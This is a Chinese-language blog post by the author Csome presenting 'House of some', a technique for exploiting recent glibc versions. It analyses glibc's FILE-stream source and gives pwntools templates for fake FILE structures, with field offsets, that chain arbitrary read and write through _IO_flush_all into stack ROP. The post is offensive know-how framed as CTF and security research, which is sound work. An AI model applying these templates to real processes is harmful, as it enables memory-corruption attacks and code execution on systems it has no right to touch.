2087 字
10 分钟
阅读量 --
Hits
Bring back the stack attack -- House of some一种高版本glibc的利用思路

概述#

House of some 是一条改进 House of apple2 的新链,也是一种攻击思路,效果十分显著,并且可以适用于未来的高版本,可以实现任意地址写,其中触发条件为

  1. 已知 glibc 基地址
  2. 可控的已知地址(可写入内容构造 fake file)
  3. 需要一次 libc 内任意地址写可控地址
  4. 程序能正常退出或者通过 exit () 退出

House of some 具有以下优点:

  1. 无视目前的IO_validate_vtable检查(wide_data 的 vtable 加上检查也可以打)
  2. 第一次任意地址写要求低
  3. 最后攻击提权是栈上 ROP,可以不需要栈迁移
  4. 源码级攻击,不依赖编译结果

自动化脚本 (将于 2024 年 2 月 1 日发布)https://github.com/CsomePro/Some-of-House

利用思路#

构造任意地址写的 fake file#

首先回顾一下 House of apple2 https://bbs.kanxue.com/thread-273832.htm

其中有一条链是如下进行的

_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

如果fp->_wide_data->_wide_vtable加上了检查,那么只能选择虚表内的函数进行执行,我们能够选什么呢?

那么就需要_IO_new_file_underflow这个函数出场了

int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout);
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

我们可以发现在_IO_new_file_underflow函数内会调用_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)宏其对应的常规 read 函数如下

ssize_t
_IO_file_read (FILE *fp, void *buf, ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}

最后是调用 syscall (read) 读,我们可以看到 read 的三个参数都是可控的

  • fd=>fp->_fileno
  • buf=>fp->_IO_buf_base
  • size=>fp->_IO_buf_end - fp->_IO_buf_base

那么就可以构造一个任意地址写,那么有了任意地址写之后有啥用呢?FSOP!

我们再回到_IO_flush_all函数观察一下

int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

其中的 for 循环我们可以看到对于_IO_list_all上的单向链表,通过了_chain串起来,并在_IO_flush_all中,会遍历链表上每一个 FILE,如果条件成立,就可以调用_IO_OVERFLOW(fp, EOF)

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}

那么接下来就开始构造一个实现任意地址写的 fake file

由于_IO_new_file_underflow内有一个_IO_switch_to_get_mode函数其中有这个分支

if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;

如果还是使用fp->_IO_write_ptr > fp->_IO_write_base来使得触发 OVERFLOW 就会出现无限递归,所以不可行,我们需要采取另一个分支,即

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // 不可行
|| (_IO_vtable_offset (fp) == 0 // 使用||之后的分支
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

那么实现任意地址读的 fake file 设置如下

  • _flags设置为~(2 | 0x8 | 0x800),设置为0即可(与 apple2 相同)
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap地址,使得调用_IO_wfile_overflow即可(注意此处与 apple2 不同的是,此处的 vtable 不能加偏移,否则会打乱_IO_SYSREAD的调用)
  • _wide_data->_IO_write_base设置为0,即满足*(_wide_data + 0x18) = 0(与 apple2 相同)
  • _wide_data->_IO_write_ptr设置为大于_wide_data->_IO_write_base,即满足*(_wide_data + 0x20) > *(_wide_data + 0x18)(注意此处不同)
  • _wide_data->_IO_buf_base设置为0,即满足*(_wide_data + 0x30) = 0(与 apple2 相同)
  • _wide_data->_wide_vtable设置为任意一个包含_IO_new_file_underflow,其中原生的 vtable 就有,设置成_IO_file_jumps-0x48即可
  • _vtable_offset设置为0
  • _IO_buf_base与_IO_buf_end设置为你需要写入的地址范围
  • _chain设置为你下一个触发的 fake file 地址
  • _IO_write_ptr <= _IO_write_base即可
  • _fileno设置为0,表示read(0, buf, size)
  • _mode设置为2,满足fp->_mode > 0即可

一个任意地址写的 fake file 模板如下

fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")
fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")

构造任意地址读的 fake file#

这个就很简单了,以前也有这些研究,利用_IO_write_base和_IO_write_ptr实现任意地址读,这里给出构造模板,具体原理网上有很多教程

fake_file_write = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: 需要泄露的起始地址, # _IO_write_base
0x28: 需要泄露的终止地址, # _IO_write_ptr
0x70: 1, # _fileno
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")

FSOP!#

我们已经有了任意地址读、任意地址写的 fake file 构造,那么只需要将其用_chain串起来就可以达成强大的攻击效果

那么我将 House of some 的攻击流程分成 4 步(RWRWR 过程)(这也是一个广泛的思路,拥有任意地址写就不止一个方法了)

  • 第一步 任意地址写_chain,这里可以写_IO_list_all或者 stdin、stdout、stderr 的_chain位置,在这一步需要在可控地址上布置一个任意地址写的 Fake file,之后将 Fake file 地址写入上述位置
  • 第二步 扩展 fake file 链条并泄露栈地址,在第一步的中,我们只有一个 fake file,并不能完成更复杂的操作,所以这一步我们需要写入两个 fake file,一个用于泄露environ内的值(即栈地址),另一个用于写入下一个 fake file
  • 第三步 泄露栈内数据,并寻找 ROP 起始地址,这一步同样需要写入两个 fake file,一个任意地址读,读取栈上内存,另一个任意地址写,向栈上写 ROP
  • 第三步 写入 ROP,实现栈上 ROP 攻击!

下图是攻击的图示,黄色代表_IO_flush_all还未遍历的 FILE,黑色代表已经处理过的 FILE

House of some

简单的分析#

这个链条是基于 House of apple2 基础上衍生的,为什么需要 apple2 呢?因为,在意外调用 vtable 的过程中,需要给 vtable 项加上偏移,但是_IO_SYSREAD等宏也是通过偏移索引,所以会导致偏移出错无法按照预定逻辑,那么就想到 wide data 内的 vtable,修改此处的偏移可以不影响 IO FILE 的 vtable。

这个利用链条从源码中分析得出,不依赖二进制编译结果,以及可以无视加上 wide data 内的 vtable 的检查,这就导致了非常强大的泛用性。

同时 House of some 带回了原生的 FSOP 流程(RWRWR 过程),我们重新回到了起点 ——angelboy 提出的 FSOP 原来的样子,利用 chain 把一个一个 fake file 串起来,通过多次的 fake file 调用_IO_OVERFLOW,实现二次泄露甚至多次泄露,使得我们游走在任意地址中,修改任意的地址内容!

为何选择栈上 ROP,因为这是最简单最有效最暴力的攻击方法,可以无需栈迁移,无视 canary(任意读可以泄露,甚至我能控制写入起点,可以选择 canary 后面作为起点),最后栈溢出永不过时!

Bring back the stack attack -- House of some一种高版本glibc的利用思路
https://blog.csome.cc/p/house-of-some/
作者
Csome
发布于
2023-11-17
许可协议
CC BY-SA 3.0